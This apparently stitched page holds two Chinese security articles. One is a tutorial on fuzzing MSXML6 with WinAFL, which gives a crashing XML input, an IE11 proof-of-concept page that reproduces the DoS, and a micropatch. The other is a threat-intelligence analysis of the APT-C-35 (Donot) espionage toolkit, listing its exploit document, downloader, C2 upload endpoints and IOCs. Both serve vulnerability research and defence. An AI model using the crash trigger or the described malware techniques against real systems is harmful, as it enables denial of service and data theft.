extern "C" __declspec(dllexport) int main(int argc, char** argv);
// Macro that calls a COM method returning HRESULT value.
#define CHK_HR(stmt) do { hr=(stmt); if (FAILED(hr)) goto CleanUp; } while(0)
void dump_com_error(_com_error &e)
{
_bstr_t bstrSource(e.Source());
_bstr_t bstrDescription(e.Description());
printf("Errorn");
printf("atCode = %08lxn", e.Error());
printf("atCode meaning = %s", e.ErrorMessage());
printf("atSource = %sn", (LPCSTR)bstrSource);
printf("atDescription = %sn", (LPCSTR)bstrDescription);
}
_bstr_t validateFile(_bstr_t bstrFile)
{
// Initialize objects and variables.
MSXML2::IXMLDOMDocument2Ptr pXMLDoc;
MSXML2::IXMLDOMParseErrorPtr pError;
_bstr_t bstrResult = L"";
HRESULT hr = S_OK;
// Create a DOMDocument and set its properties.
CHK_HR(pXMLDoc.CreateInstance(__uuidof(MSXML2::DOMDocument60), NULL, CLSCTX_INPROC_SERVER));
pXMLDoc->async = VARIANT_FALSE;
pXMLDoc->validateOnParse = VARIANT_TRUE;
pXMLDoc->resolveExternals = VARIANT_TRUE;
// Load and validate the specified file into the DOM.
// And return validation results in message to the user.
if (pXMLDoc->load(bstrFile) != VARIANT_TRUE)
{
pError = pXMLDoc->parseError;
bstrResult = _bstr_t(L"Validation failed on ") + bstrFile +
_bstr_t(L"n=====================") +
_bstr_t(L"nReason: ") + _bstr_t(pError->Getreason()) +
_bstr_t(L"nSource: ") + _bstr_t(pError->GetsrcText()) +
_bstr_t(L"nLine: ") + _bstr_t(pError->Getline()) +
_bstr_t(L"n");
}
else
{
bstrResult = _bstr_t(L"Validation succeeded for ") + bstrFile +
_bstr_t(L"n======================n") +
_bstr_t(pXMLDoc->xml) + _bstr_t(L"n");
}
CleanUp:
return bstrResult;
}
wchar_t* charToWChar(const char* text)
{
size_t size = strlen(text) + 1;
wchar_t* wa = new wchar_t[size];
mbstowcs(wa, text, size);
return wa;
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage: %s <xml file>n", argv[0]);
return 0;
}
HRESULT hr = CoInitialize(NULL);
if (SUCCEEDED(hr))
{
try
{
_bstr_t bstrOutput = validateFile(charToWChar(argv[1]));
MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
}
catch (_com_error &e)
{
dump_com_error(e);
}
CoUninitialize();
}
return 0;
}
请注意下面的代码片段：
extern "C" __declspec(dllexport) int main(int argc, char** argv);
本质上，这允许我们使用 target_method 参数，DynamoRIO 将尝试为给定的[符号名（symbol
name）](http://dynamorio.org/docs/group__drsyms.html#ga2e6f4d91b65fc835c047c8ca23c83d06%29)检索地址，如[这里](https://github.com/ivanfratric/winafl/blob/372a9746fb84a4c3a7656e7b79bf7e8c0c146142/winafl.c#L525)所示。
我们可以按照 README 中使用的偏移方法，但是由于 ASLR
和所有这些东西，我们希望对模糊测试进行扩展，将二进制文件复制到许多台虚拟机里，并能使用相同的命令来进行 fuzz。指令 extern "C" 将
unmange 函数名，并使其看起来更漂亮。
要确定 DynamoRIO 确实可以使用此方法，输入下面的命令：
dumpbin /EXPORTS xmlvalidate_fuzz.exe
现在让我们赶快运行二进制文件并观察输出。你应该会得到下面的输出：
**代码覆盖**
**WinAFL**
由于要测试的库是闭源的，所以我们将通过 WinAFL 使用 DynamoRIO 的代码覆盖库功能：
C:DRIObin32drrun.exe -c winafl.dll -debug -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method main -fuzz_iterations 10 -nargs 2 -- C:xml_fuzz_initialxmlvalidate.exe C:xml_fuzz_initialnn-valid.xml
WinAFL 将执行二进制文件十次。一旦完成，请返回到 winafl 的文件夹并检查日志文件：
从输出中我们看到运行似乎一切正常！在文件的右侧，那些点描述了 DLL
的覆盖范围，如果你向下滚动，将会看到我们确实覆盖了许多的函数，因为我们在整个文件中获得了更多的点。我们在搜索大量的代码时，这是一个非常好的迹象，我们已经快要正确地定位到
MSXML6 的库。
**Lighthouse- IDA Pro 的代码覆盖资源管理器**
这个插件将帮助我们更好地了解我们命中的函数，并使用 IDA 对覆盖范围进行了很好的概述。这是一个很好的插件，且具有良好的文档，由 Markus
Gaasedelen (@gaasedelen) 所开发。请确保下载了最新版的 [DynamoRIO
7](https://github.com/DynamoRIO/dynamorio/releases/download/release_7_0_0_rc1/DynamoRIO-Windows-7.0.0-RC1.zip)，并按照[这里](https://github.com/gaasedelen/lighthouse)的说明进行安装。幸运的是，我们从文档中获得了两个样本测试用例，一个有效一个无效。让我们输入有效的一个并观察覆盖情况。为此，运行下面的命令：
C:DRIO7bin64drrun.exe -t drcov -- xmlvalidate.exe nn-valid.xml
下一步启动 IDA，加载 msxml6.dll 并确保获得了符号！现在，检查是否有一个 .log 文件被创建，并在 IDA 中依次点击
File -> Load File -> Code Coverage File(s) 打开它。一旦覆盖文件被加载，它将高亮出测试用例命中的所有函数。
**测试用例最小化**
现在是时候测试 XML 文件了（尽可能小）。我使用了一个稍微偏黑客的 joxean find_samples.py
版本的脚本。一旦你得到了几个测试用例，就可以最小化初始 seed 文件。可以使用下面的命令完成：
python winafl-cmin.py --working-dir C:winaflbin32 -D C:DRIObin32 -t 100000 -i C:xml_fuzzsamples -o C:minset_xml -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:xml_fuzzxmlvalidate.exe @@
你会看到下面的输出：
corpus minimization tool for WinAFL by <[email protected]>
Based on WinAFL by <[email protected]>
Based on AFL by <[email protected]>
[+] CWD changed to C:winaflbin32.
[*] Testing the target binary...
[!] Dry-run failed, 2 executions resulted differently:
Tuples matching? False
Return codes matching? True
我不太确定，但我认为 winafl-cmin.py 脚本期望初始 seed
文件指向相同的代码路径，也就是我们必须一次有效的测试用例，和一次无效的测试用例。可能是我错了，也可能是有一个 bug。
我们使用下面的 bash 脚本来确定一下“好的”和“坏的”XML 测试用例。
$ for file in *; do printf "==== FILE: $file =====n"; /cygdrive/c/xml_fuzz/xmlvalidate.exe $file ;sleep 1; done
下面的截图显示了我的运行结果：
随意尝试一下，看看是哪些文件导致了这个问题（你的可能会有所不同）。一旦确定，再次运行上面的命令，希望你能得到下面的结果：
你看，初始用例包含 76 个文件，最小化后缩减至 26 个。感谢 Axel！
使用最小化后的测试用例，我们来编写一个可以自动化执行所有代码覆盖的 python 脚本：import sys
import os
testcases = []
for root, dirs, files in os.walk(".", topdown=False):
for name in files:
if name.endswith(".xml"):
testcase = os.path.abspath(os.path.join(root, name))
testcases.append(testcase)
for testcase in testcases:
print "[*] Running DynamoRIO for testcase: ", testcase
os.system("C:\DRIO7\bin32\drrun.exe -t drcov -- C:\xml_fuzz\xmlvalidate.exe %s" % testcase)
上面的脚本在我使用的用例里生成了下面的输出：
和前面一样，使用 IDA 打开 File -> Load File -> Code Coverage File(s) 菜单下的所有 .log 文件。
有趣的是，请注意存在多少个 parse 函数，如果你在覆盖范围内徘徊，将会看到我们已经设法得到了大量有趣的代码。
由于我们确实得到了不错的代码覆盖率，让我们继续前进，最终 fuzz 它！
**
**
**我所做的就是 fuzz，fuzz，fuzz**
让我们启动 fuzzer：
afl-fuzz.exe -i C:minset_xml -o C:xml_results -D C:DRIObin32 -t 20000 -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method main -nargs 2 -- C:xml_fuzzxmlvalidate.exe @@
运行上面的命令后得到下面的输出：
正如你看到的，初始代码就是做这个工作，但速度非常慢。每三秒执行一次将消耗大量的时间才能得到正确的结果。有趣的是，我曾经就是在这种速度下（在
afl/winafl 时代之前，使用 python 和 radamsa），在三天的测试中发现了 bug！
让我们尽可能地从拖慢 fuzz 速度的部分解脱出来。如果你曾经做过 Windows 编程，就会知道下面一行初始化了一个 COM 对象，这可能就是速度的瓶颈：
HRESULT hr = CoInitialize(NULL);
这一行确实是一个主要的问题，因此我们来重构代码，我们将创建一个 fuzzme 方法，该方法将在 COM
初始化调用之后接受文件名作为一个参数。重构的代码如下：
--- cut --- extern "C" __declspec(dllexport) _bstr_t fuzzme(wchar_t* filename);
_bstr_t fuzzme(wchar_t* filename)
{
_bstr_t bstrOutput = validateFile(filename);
//bstrOutput += validateFile(L"nn-notValid.xml");
//MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
return bstrOutput;
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage: %s <xml file>n", argv[0]);
return 0;
}
HRESULT hr = CoInitialize(NULL);
if (SUCCEEDED(hr))
{
try
{
_bstr_t bstrOutput = fuzzme(charToWChar(argv[1]));
}
catch (_com_error &e)
{
dump_com_error(e);
}
CoUninitialize();
}
return 0;
}
--- cut ---
你可以从[这里](https://symeonp.github.io/assets/files/xmlvalidate.cpp)得到重构后的版本。使用重构的二进制文件我们来再一次运行
fuzzer，看看是否正确。这一次，我们将传递 fuzzme 作为 target_method，而不是
main，并且只使用一个参数，即文件名。这里，我们使用 lcamtuf 的
xml.dic，来自[这里](https://raw.githubusercontent.com/google/oss-fuzz/master/projects/libxml2/xml.dict)。
afl-fuzz.exe -i C:minset_xml -o C:xml_results -D C:DRIObin32 -t 20000 -x xml.dict -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:xml_fuzzxmlvalidate.exe @@
一旦你运行脚本，在 VMWare 中几秒钟就出现了下面的输出：
好多了，现在我们让它运行起来然后等待崩溃吧！
**
**
**结果 – 崩溃分类和分析**
****通常，我会尝试用不同的测 试用例来 fuzz 这个二进制文件，但幸运的是我不断得到 NULL pointer dereference 的
bug。下面的截图显示了大约 12 天后的结果：
请注意，总共执行了 33 万次，并发现了 26 次不同的崩溃！
为了给结果分类，我使用了 SkyLined 的 [Bugid](https://github.com/SkyLined/BugId)
工具，这是一个很棒的工具，能为你提供关于崩溃和崩溃利用的详细报告。
下面是我的 python 代码：
import sys
import os
sys.path.append("C:\BugId")
testcases = []
for root, dirs, files in os.walk(".\fuzzer01\crashes", topdown=False):
for name in files:
if name.endswith("00"):
testcase = os.path.abspath(os.path.join(root, name))
testcases.append(testcase)
for testcase in testcases:
print "[*] Gonna run: ", testcase
os.system("C:\python27\python.exe C:\BugId\BugId.py C:\Users\IEUser\Desktop\xml_validate_results\xmlvalidate.exe -- %s" % testcase)
运行上面的脚本得到了下面的输出：
一旦我为所有得到的崩溃运行了它，可以很清楚的看到，我们命中的是相同的 bug。为了确认这一点，让我们打开 windbg：
0:000> g
(a6c.5c0): Access violation - code c0000005 (!!! second chance !!!)
eax=03727aa0 ebx=0012fc3c ecx=00000000 edx=00000000 esi=030f4f1c edi=00000002
eip=6f95025a esp=0012fbcc ebp=0012fbcc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
msxml6!DTD::findEntityGeneral+0x5:
6f95025a 8b4918 mov ecx,dword ptr [ecx+18h] ds:0023:00000018=????????
0:000> kv
ChildEBP RetAddr Args to Child
0012fbcc 6f9de300 03727aa0 00000002 030f4f1c msxml6!DTD::findEntityGeneral+0x5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:w7rtmsqlxmlmsxml6xmldtddtd.hxx @ 236]
0012fbe8 6f999db3 03727aa0 00000003 030c5fb0 msxml6!DTD::checkAttrEntityRef+0x14 (FPO: [Non-Fpo]) (CONV: thiscall) [d:w7rtmsqlxmlmsxml6xmldtddtd.cxx @ 1470]
0012fc10 6f90508f 030f4f18 0012fc3c 00000000 msxml6!GetAttributeValueCollapsing+0x43 (FPO: [Non-Fpo]) (CONV: stdcall) [d:w7rtmsqlxmlmsxml6xmlparsenodefactory.cxx @ 771]
0012fc28 6f902d87 00000003 030f4f14 6f9051f4 msxml6!NodeFactory::FindAttributeValue+0x3c (FPO: [Non-Fpo]) (CONV: thiscall) [d:w7rtmsqlxmlmsxml6xmlparsenodefactory.cxx @ 743]
0012fc8c 6f8f7f0d 030c5fb0 030c3f20 01570040 msxml6!NodeFactory::CreateNode+0x124 (FPO: [Non-Fpo]) (CONV: stdcall) [d:w7rtmsqlxmlmsxml6xmlparsenodefactory.cxx @ 444]
0012fd1c 6f8f5042 010c3f20 ffffffff c4fd70d3 msxml6!XMLParser::Run+0x740 (FPO: [Non-Fpo]) (CONV: stdcall) [d:w7rtmsqlxmlmsxml6xmltokenizerparserxmlparser.cxx @ 1165]
0012fd58 6f8f4f93 030c3f20 c4fd7017 00000000 msxml6!Document::run+0x89 (FPO: [Non-Fpo]) (CONV: thiscall) [d:w7rtmsqlxmlmsxml6xmlomdocument.cxx @ 1494]
0012fd9c 6f90a95b 030ddf58 00000000 00000000 msxml6!Document::_load+0x1f1 (FPO: [Non-Fpo]) (CONV: thiscall) [d:w7rtmsqlxmlmsxml6xmlomdocument.cxx @ 1012]
0012fdc8 6f8f6c75 037278f0 00000000 c4fd73b3 msxml6!Document::load+0xa5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:w7rtmsqlxmlmsxml6xmlomdocument.cxx @ 754]
0012fe38 00401d36 00000000 00000008 00000000 msxml6!DOMDocumentWrapper::load+0x1ff (FPO: [Non-Fpo]) (CONV: stdcall) [d:w7rtmsqlxmlmsxml6xmlomxmldom.cxx @ 1111]
-- cut --
让我们来看一个造成崩溃的 xml：
C:UsersIEUserDesktopxml_validate_resultsfuzzer01crashes>type id_000000_00
<?xml version="&a;1.0"?>
<book xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="nn.xsd"
id="bk101">
<author>Gambardella, Matthew</author>
<title>XML Developer's Guide</title>
<genre>Computer</genre>
<price>44.95</price>
<publish_date>2000-10-01</publish_date>
<description>An in-depth look at creating applications with
XML.</description>
正如你看到的，如果我们在 xml 或者其编码后提供了一些 garbage，就会得到上面的崩溃。Mitja 还将测试用例减到最小，如下所示：
<?xml version='1.0' encoding='&aaa;'?>
对该库进行模糊测试的整个思想，是基于在 IE 上下文中找到一个漏洞并以某种方法触发它。经过一番搜索，让我们使用下面的
Poc（crashme.html），看看它是否会使 IE11 崩溃：
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.load("crashme.xml");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
console.log("You have error " + myErr.reason);
} else {
console.log(xmlDoc.xml);
}
</script>
</body>
</html>
在 Python 的 SimpleHTTPServer 中运行它，提供下面的东西：
Bingo！正如预期的那样，至少在启用了 PageHeap 的情况下，我们能够触发与我们在测试框架中相同的崩溃。小心不要在 Microsoft
Outlook 中包含该 xml，因为它也会崩溃！此外，由于它基于库本身，如果产生一个更 sexy 的崩溃，则会增加攻击面！
**
**
**打补丁**
在与 Mitja 通过电子邮件交流后，他向我提供了可以在完全更新的 x64 系统上使用的补丁：
;target platform: Windows 7 x64
;
RUN_CMD C:UserssymeonDesktopxmlvalidate_64bitxmlvalidate.exe C:UserssymeonDesktopxmlvalidate_64bitpoc2.xml
MODULE_PATH "C:WindowsSystem32msxml6.dll"
PATCH_ID 200000
PATCH_FORMAT_VER 2
VULN_ID 9999999
PLATFORM win64
patchlet_start
PATCHLET_ID 1
PATCHLET_TYPE 2
PATCHLET_OFFSET 0xD093D
PIT msxml6.dll!0xD097D
code_start
test rbp, rbp ;is rbp (this) NULL?
jnz continue
jmp PIT_0xD097D
continue:
code_end
patchlet_end
我们来调试和测试下这个补丁程序，我已经创建了一个账户，并未开发者安装了 0patch 代理，右击上述的 .0pp 文件：
一旦在测试框架中使用了可以导致崩溃的 xml，我立即设置断点：
从上面的代码中看到，rbp 寄存器确实是 null，这将导致 null pointer dereference 的问题。由于我们已经部署了 0patch
代理，实际上它会跳转到 msxml6.dll!0xD097D，从而避免崩溃：
太棒了！接下来我在修复后的版本上再次启动 winafl，但是不幸失败了。由于 0patch（钩子函数？）的性质，它与 WinAFL 不兼容，于是崩溃了。
然而，这是一种“DoS 0day”，正如我之前提到的，我在2017年6月向微软提出报告，二十天后收到一下邮件：
我完全同意这一决定，但我最感兴趣的还是修补掉这个烦人的
bug，以便我可以继续前进。在调试器上花了几个小时之后，我发现唯一可控制的用户输入是编码字符串的长度：
eax=03052660 ebx=0012fc3c ecx=00000011 edx=00000020 esi=03054f24 edi=00000002
eip=6f80e616 esp=0012fbd4 ebp=0012fbe4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
msxml6!Name::create+0xf:
6f80e616 e8e7e6f9ff call msxml6!Name::create (6f7acd02)
0:000> dds esp L3
0012fbd4 00000000
0012fbd8 03064ff8
0012fbdc 00000003
0:000> dc 03064ff8 L4
03064ff8 00610061 00000061 ???????? ???????? a.a.a...????????
上面的 unicode 字符串其实是来自我们测试用例的开头，其中数字 3 很明显是长度（函数的签名：Name *__stdcall
Name::create(String *pS, const wchar_t *pch, int iLen, Atom *pAtomURN)）
**
**
**结论**
如你所见，花一些时间在微软的 API 和文档上是非常值得的！另外，重构一些基本函数并精确定位影响性能的问题也可能对我们的工作有很大的改进！
我必须感谢 lvan 将 afl 移植到 Windows 并创建了这个令人吃惊的项目。也感谢 Axel 和其他一直积极做贡献的人。
我的同事 Javier 激励我写了这篇博客，Richard 一直在回答我愚蠢的问题，并给我所有的帮助，来自 0patch 的 Mitja
建立了这个补丁，最后 Patroklo 几年前教了我一些模糊测试的技巧！
**
**
**参考**
[Evolutionary Kernel Fuzzing-BH2017-rjohnson-FINAL.pdf](https://github.com/richinseattle/EvolutionaryKernelFuzzing/blob/master/slides/Evolutionary%20Kernel%20Fuzzing-BH2017-rjohnson-FINAL.pdf)
[Super Awesome Fuzzing, Part
One](https://labsblog.f-secure.com/2017/06/22/super-awesome-fuzzing-part-one/) | 社区文章 |
# APT-C-35组织（肚脑虫）的最新攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2017年3月，360追日团队发现了一类定向攻击的样本，确认是之前所未知的APT组织的攻击行动样本，目前可以追溯到的该组织至少在2016年4月便开始活动。追日团队将该攻击组织编号为APT-C-35。2017年6月，360威胁情报中心又发现该组织新的攻击活动，确认并曝光了该团伙针对巴基斯坦的定向攻击活动，并详细分析了该组织使用的独有的EHDevel恶意代码框架（见参考[1]）。
2018年3月，国外安全团队ASERT继续披露了该组织新的恶意代码框架yty，并根据PDB路径中的机器用户名将该组织命名为Donot。鉴于该组织的活动是由360独立发现，并在全球率先披露的，符合360威胁情报中心对APT组织进行独立命名的条件。故，参考国外已有命名及360威胁情报中心对APT组织的命名规则，我们将APT-C-35组织正式名为“肚脑虫”组织（Donot音译）。
APT-C-35主要针对巴基斯坦等南亚地区国家进行网络间谍活动，该组织主要针对政府机构等领域进行攻击，其中以窃取敏感信息为主。从2017年至今，该组织针对巴基斯坦至少发动了4波攻击行动，攻击过程主要是以携带Office漏洞或者恶意宏的鱼叉邮件进行恶意代码的传播，并先后使用了两套独有的恶意代码框架：EHDevel和yty。
自第一次发现该组织的攻击活动以来，360威胁情报中心对该组织一直保持着持续跟踪，近期我们再次跟踪到该团伙利用较新的Office
Nday漏洞发起的新的攻击活动，并对攻击中使用的yty框架最新的恶意代码进行了详细分析。
## 活动时间线
360威胁情报中心与360追日团队对APT-C-35组织的攻击活动跟踪分析的时间线如下：
## 来源
2018年6月下旬，360威胁情报中心在对恶意代码的跟踪过程中发现疑似定向攻击的APT样本，通过对该样本的深入分析，并利用360威胁情报中心数据平台进行关联，确认其为360威胁情报中心2017年首次曝光的针对性攻击活动的后续（详见参考[1]）。
## 样本分析
捕获的诱饵文档文件名为：kahsmir issue
abida.doc（克什米尔问题），克什米尔地区南部属于印度管辖，北部属于巴基斯坦管辖，两国均宣称对克什米尔全境拥有主权，一直以来处于地区主权纷争当中。因此我们初步推测该攻击主要针对该地区附近的国家。
### 执行流程
整个攻击流程如下：
### Dropper（CVE-2017-8570）
发现的样本是名为kahsmir issue
abida.doc的漏洞利用文档，该漏洞利用样本包含三个Objdata，其中两个为Package对象，一个为包含CVE-2017-8570漏洞的OLE2Link。样本利用RTF文档自动释放Package对象的特性，将包含的两个Package对象释放至%TMP%目录下，最后通过CVE-2017-8570触发执行释放的恶意脚本，再通过脚本执行释放的EXE文件，包含漏洞的Objdata对象信息如下：
包含漏洞的OLE2Link对象中设置File
Moniker对应的文件为_JVGHBCYYKRAE2DU.sct脚本，漏洞触发后执行，其主要功能为执行释放在%TMP%目录下的Setup.exe：
### Downloader（Setup.exe）
释放的Setup.exe是C++编写的下载者程序，其首先创建一个名为“toptwo”的互斥量，保证系统中只有一个实例运行：
然后在%APPDATA%Roaming/HexRun目录下创建名为lset.txt的调试文件，输出一些运行信息：
并在%APPDATA%Roaming/HexRun创建kt.bat文件，通过创建CMD.exe进程启动该文件：
kt.bat主要功能为设置任务计划，从当前时间开始每5分钟启动一次%APPDATA%Roaming/HexRun/Setup.exe：
设置完成的任务计划如下：
设置完任务计划后，样本开始收集系统信息，获取磁盘信息：
获取MAC地址：
还会检测是否为虚拟机执行环境，并将该环境信息一并发送给攻击者服务器：
之后还会收集计算机名、用户名、program file下的文件名，系统版本号等信息，将获取的所有信息组合成以“|||”分割的字符串：
之后从Google文档：
（http://docs.google.com/uc?id=1wUaESzjGT2fSuP_hOJMpqidyzqwu15sz&export=download）获取文件内容作为C2：
获取的文件名为customer.txt，C2地址为：tes.sessions4life.pw，若获取失败则使用硬编码的C2地址：aoc.sessions4life.pw
进一步拷贝自身到%AppData%/Roaming/Hexrun目录下：
随后与C2进行通信，将获取的信息经过AES加密后POST到tes.sessions4life.pw/football/goal：
当C2返回为“win”时，样本将进行后续的下载行为，若系统中没安装.NET，样本会先从tes.sessions4life.pw/jszx/jquery/3x/simple.exe下载.NET框架进行安装：
若已有安装了.NET则首先将收集到的‘计算机名-用户名-MAC地址|||work.exe’经AES加密后POST到tes.sessions4life.pw/football/download/3/work.exe，获取work.exe文件。并将：‘计算机名-用户名-MAC地址|||boothelp.exe’加密后POST到tes.sessions4life.pw/football/download/2
并获取boothelp.exe文件。Work.exe主要功能为启动boothelp.exe：
### Backdoor（Boothelp.exe）
Boothelp.exe是C#编写的后门程序，其根据C2返回的指令下载插件并执行。与Setup.exe一样，boothelp.exe的字符串也是全部倒序后再经BASE64编码存储，解码
算法如下：
boothelp的C2地址也是通过Google获取：
（[http://docs.google.com/uc?id=1wUaESzjGT2fSuP_hOJMpqidyzqwu15sz&export=download](http://docs.google.com/uc?id=1wUaESzjGT2fSuP_hOJMpqidyzqwu15sz&export=download)）
且还硬编码了一个C2地址：aoc.sessions4life.pw
该后门会获取计算机名、用户名、MAC地址，再经AES加密后POST到aoc.sessions4life.pw/football/flag：
AES加密算法：
最后处理返回的数据，判断指令是否包含有需要下载的插件。若指令内包含插件名，则以格式“计算机名-用户名-MAC地址|||插件名”经AES加密后发送到aoc.sessions4life.pw/football/download/2或者aoc.sessions4life.pw/football/download/5获取插件并执行：
在我们调试过程中，C2返回数据包括了7个插件，但我们只成功获取了五个插件并进行了分析：
相关插件功能如下：
**插件名**
|
**功能**
---|---
dspcheck.exe | 截图插件
mdriver.exe | 键盘记录插件
abode.exe | 文件选择上传插件
vstservice.exe | 文件列表插件
mboard.exe | 系统信息插件
cell.exe | 未知
bro.exe | 未知
### Backdoor – Plugins
下载回来的后门插件功能详细分析如下：
**vstservice.exe**
vstservice.exe是.NET程序，功能为收集文件发送到C2，与之前的文件一致，其C2也来源于Google：（http://docs.google.com/uc?id=1J28TUXZH0BLQZpSCOv_xMRUJVv5z7jso&export=download），文档名为goods.txt，内容为qwe.sessions4life.pw。与前面分析的样本一致，该插件中也硬编码了一个C2：mon.sessions4life.pw
获取系统磁盘信息的功能：
判断磁盘是固定磁盘且%appdata%/Roming/vstservice/vstservice 目录下没有.man结尾的文件，则在该磁盘下收集文件：
收集磁盘内的.ppt/.doc/.pdf/.rtf等敏感文档：
将上述格式文件保存到%appdata%/Roming/vstservice/vstservice目录下的“磁盘名.doc”中，并以文件名>文件大小>最后修改时间的格式保存：
将出上述格式外的文件保存到%appdata%/Roming/vstservice/ vstservice目录下的“磁盘名.man”中：
之后将文件发送到C2：mon.sessions4life.pw/panel/bigdata/file_upload
**abode.exe**
该文件主要功能是上传除vstservice.exe之外的其他插件生成的文件以及C2指令中的文件（vstservice.exe具有与C2通信的功能，其他插件没有），同样的，与其他yty框架中的文件相同，adode.exe的C2也来源于Google，且与vstservice.exe使用相同的C2：
定期发送其他插件生成的文件到C2，并根据C2返回指令发送指定文件：
获取插件生成的文件：
之后将“计算机名-用户名-MAC地址”经加密后发送到mon.sessions4life.pw/panel/bigdata/orderfile并获取指定文件名：
上传指定文件到mon.sessions4life.pw/panel/bigdata/file_upload：
**mdriver.exe**
mdriver.exe插件是C++编写的键盘记录器，该插件主要功能记录键盘输入，并保存到%user%/LanConfig/
mdriver/mdriver目录下：
保存的键盘输入格式如下：
**dspcheck.exe**
截图插件，每五分钟截屏一次，并以文件名格式为”日 月 年 时 分 秒”保存到”
%user%/LanConfig/dspcheck/dspcheck.exe”下：
#### **mboard.exe**
mboard.exe使用UPX加壳，脱壳后根据字符串相关信息可知是go语言编写的程序，该插件创建多个CMD进程执行命令，获取系统相关信息，并将获取的信息保存到”
%user%/LanConfig/ mboard/ mboard下，并以.qr结尾。然后获取系统中的doc、pdf、msg等文件保存到”
%user%/LanConfig/ mboard/ mboard目录下：
相关CMD命令如下表
**命令** | **功能**
---|---
dir /a /s 磁盘名:\; | 获取磁盘相关文件
systeminfo | 获取系统信息
Ipconfig /all | IP相关信息
net view | 当前域的计算机列表
tasklist | 进程列表
## 溯源与关联
通过对此次攻击中使用的PDB路径、域名/IP关联分析，以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展，我们确认此次攻击的幕后团伙为360威胁情报中心2017年首次曝光的针对巴基斯坦的APT组织APT-C-35。
### PDB关联
在分析的下载者Setup.exe中我们发现一个特殊的PDB路径：
根据其PDB路径及代码特征确定该样本使用的是yty恶意框架，其与ASERT披露的dspcheck.exe插件PDB路径一致（详见参考[3]）:
### 域名关联
通过360威胁情报中心数据平台对样本中使用的C2域名tes.sessions4lif4.pw进行搜索，左下角可以看见已收录了相关报告：
而该报告引用了360威胁情报中心在2017年6月发布的关于APT-C-35的攻击活动分析文章：《针对巴基斯坦的某APT活动事件分析》
可以看到本次事件中使用的域名 tes.session4life.pw在17年时就已经被该APT组织使用：
并且我们发现Setup.exe中有一个经过base64编码的目录football/download2：
我们尝试在tes.session4life.pw/football/download2目录下获取文件，并成下载了一个名为helpdll.dll的文件，该文件采用C#编写，经分析该文件与ASERT披露的boothelp.exe文件结构基本一致：
且在helpdll.dll
的getGoogle方法中，我们同样的发现了一个google文档下载地址（https://drive.google.com/uc?authuser=0&id=1BUuYXU6bLdH_k_NWQIo7n5Uo_7L-uZSu&export=download），下载回来的文件名为ip2.txt，内容为一个IP地址：5.135.199.0。
通过360威胁情报中心数据平台对IP进行查询，也成功关联到APT-C-35组织（2018年5月被ASERT命名为Donot）
由此我们可以确认，360威胁情报中心本次捕获的APT攻击样本和最早披露针对巴基斯坦且使用EHDevel恶意代码框架的APT攻击样本以及国外安全公司披露的使用yty恶意代码框架的APT攻击样本均来自于同一个APT组织：APT-C-35。
通过360威胁情报中心大数据关联分析，对C&C地址的访问均来自于巴基斯坦，可以确认APT-C-35最新的攻击目标仍然是巴基斯坦。
### 溯源关联图
360威胁情报中心对本次的攻击样本溯源关联过程如下：
### 拓展
360威胁情报中心通过样本分析和大数据关联得到了APT-C-35组织近年来使用的大部分样本MD5、PDB路径、C&C地址（详见IOC节）。并发现了很多从未被公开过的该组织的样本和C&C地址：
比如PDB路径为D:\Soft\DevelopedCode_Last\yty 2.0 –
Copy\Release\\.Net\vstservice.pdb的样本，该样本功能与插件分析中的vstservice.exe一致，编译时间为2018.4.10：
与其他样本一样，该样本C2地址也来自Google：（http://docs.google.com/uc?id=1xCEI_NZX9HQIq5bkpd7FsamzWFvmiC6Q&export=download）
返回的文档名为mnpby.txt，内容为一个全新的C2地址：qwe.drivethrough.top
## 总结
自2017年360威胁情报中心首次披露APT-C-35组织的活动以来，该组织从EHDevel框架到如今的yty框架一直在不断进行更新。本次捕获的样本框架较三个月前，功能虽然一致，但其字符串全部经倒序后再经Base64编码，且在数据传输中不再采用明文传输的方式，而是将获取的系统信息等经AES加密后进行发送。种种迹象表明，APT-C-35从未停止自己的活动，或许近期会再次发动新的网络间谍攻击。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此APT攻击团伙攻击活动的检测。
## IOC
**C &C**
---
qwe.drivethrough.top
qwe.sessions4life.pw
aoc.sessions4life.pw
mon.sesions4life.pw
tes.sessions4life.pw
5.135.199.0
**yty** **框架的恶意文件MD5**
f422bc9c0d0b9d80d09ee1fc7aed3682
3fca54599f30f248246f69290c07696e
e534cf9606a1b9f9a05c6c5514603f77
ff630e55e7278aab1683c7fdc23e9aa9
56e2df3cd980763b2a81e83a452383ff
1278dbbcb4b7e6696c3c4bddc899001e
4c2e7108aecafc0dec046a0365ce4471
7075cd558285d7477486c2d4558616a9
603286d46d1909e0c18d6664576f6259
6afdc230df3b88232eeafa96abb18190
c3b46c33b58d11fce800a5ec497fdd7a
1d5e98fc11a1fc4e166010ba78ef907d
004d7a567705f9d780e52db6531ee7de
317bbfaf910403152b8d05fc97648944
136f84e3fc794e99df35a3ab56b7998b
86828e3b5bf5daf35988339815b5991e
3d2fa81fb093136655e046b80cdb4242
52ac6664478a32b5cabdaa54278b4229
c82bb37071e2db07c128042f9b22af0f
**EHDevel** **框架的恶意代码**
0158315f683dfee6d4d906b776e5229c
01710a4b3ea78b63dc9076dbeff6629c
